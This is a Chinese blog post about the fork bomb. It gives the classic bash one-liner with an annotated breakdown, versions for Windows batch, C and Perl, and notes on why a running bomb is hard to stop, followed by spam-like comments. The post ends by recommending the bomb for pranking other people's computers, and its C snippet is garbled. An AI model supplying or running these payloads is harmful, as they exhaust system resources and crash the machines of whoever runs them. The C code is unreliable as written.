前几天Group里静哥哥在那里用Fork炸弹向他的VPS上作死,结果VPS独立IP被搞到无响应,然后…无法重启了,这个大贱银,为了报复那个空间提供商的坑爹客服,呸呸呸,那客服也是个贱银~
这个坑爹大炸弹叫”Fork bomb”,2002年由Jaromil设计,通过不断fork出新的进程,一生二,二生四,四生八…然后指数爆炸,迅速耗光电脑资源。(就和细菌繁殖差不多…)进程递归式派生(fork,亦即自我复制),以使系统拒绝服务甚至崩溃。
:(){ :|:& };:
具体命令 ,如上,获取你觉得好简单,但是实际运行的话,呵呵呵呵…用自己电脑开Linux运行,结果…笔记本…然后我拔掉了电池…你可是试一下哈~~
以下程序段就是由Jaromil所作的在类UNIX系统的shell环境下触发fork炸弹的shell脚本代码,总共只用了13个字符(包括空格):
:(){ :|:& };:
注解如下:
:() # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
{ # ":"函数开始标识
: # 用递归方式调用":"函数本身
| # 并用管道(pipe)将其输出引至...
: # 另一次递归调用的":"函数
# 综上,":|:"表示的即是每次调用函数":"的时候就会生成两份拷贝
& # 调用间脱钩,以使最初的":"函数被杀死后为其所调用的两个":"函数还能继续执行
} # ":"函数结束标识
; # ":"函数定义结束后将要进行的操作...
: # 调用":"函数,"引爆"fork炸弹
其中函数名“:”只是简化的一例,实际实现时可以随意设定,一个较易理解(将函数名替换为“forkbomb”)的版本如下:
forkbomb(){ forkbomb|forkbomb &} ; forkbomb
Windows下则可以批处理命令如下实现:
%0|%0
POSIX标准下的C与C++的实现:
#include int main(){while(1) fork();return0;}
Perl语言的实现:
fork while fork
在系统中成功“引爆”fork炸弹后,我们可重启来使系统恢复正常运行;
而若要以手动的方法使fork炸弹“熄火”,那前提就是必须杀死fork炸弹产生的所有进程。
为此我们可以考虑使用程序来杀死fork炸弹产生的进程,但由于这一般需要创建新进程,且由于fork炸弹一直在探测与占用进程槽与内存空间,因而这一方法几乎不可能实现,而且用kill命令杀死进程后,释放出的进程槽又会被余下的fork炸弹线程所产生的新进程占用,在Windows下,用户可以退出当前用户会话的方式使系统恢复正常,但此法奏效的前提是fork炸弹是在该用户的特定会话内触发的。
所以,如果觉得自己家电脑不爽,或者要坑坑人,那么fork炸弹就是首选咯~
504762 304256Thanks for the write up! Also, just a heads up, your RSS feeds arent working. Could you take a look at that? 774592
2018年8月19日 04:32747677 499487Read more on that Post.Valuable info. 869977
2018年8月15日 17:14153801 862173I believe other internet site owners really should take this internet site as an model, very clean and superb user genial design and style . 879004
2018年8月12日 13:34学习了
2015年7月13日 14:29确实。。。。自黑
2015年7月6日 10:08我就是随便看看
2015年6月17日 17:19恭喜你自黑成功……
2015年6月17日 09:00现在VPS还没连接上,一直无响应
2015年6月17日 09:19简直了
2015年6月16日 21:02貌似很可怕的样子
2015年6月14日 20:45